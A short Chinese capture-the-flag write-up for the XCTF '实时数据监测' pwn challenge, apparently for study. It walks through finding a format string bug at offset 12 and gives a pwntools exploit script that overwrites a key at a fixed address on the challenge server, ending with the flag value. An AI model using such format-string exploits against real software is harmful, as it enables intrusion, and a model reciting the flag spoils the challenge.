[攻防世界]实时数据监测

解析

先checksec一下，发现没开什么保护，就很乐。

直接拖入ida中，看main函数有一个call的地方。

直接进去看看。

在往里进一下，发现一个格式化字符串的漏洞。

之后先格式化一下，看看。

偏移了12位，之后看看key的位置。

key在0804A048，那么脚本就可以写出来了。

脚本

from pwn import *
#p = process('./sjjc')
p = remote('111.200.241.244',65394)
context(os = 'linux',arch = 'i386',log_level = 'debug')
key = 0x0804A048
th = 0x2223322
payload = fmtstr_payload(12,{key:th})
p.sendline(payload)
p.interactive()

最后flag是cyberpeace{ae7e996eb00c9591235f30f9975a49c4}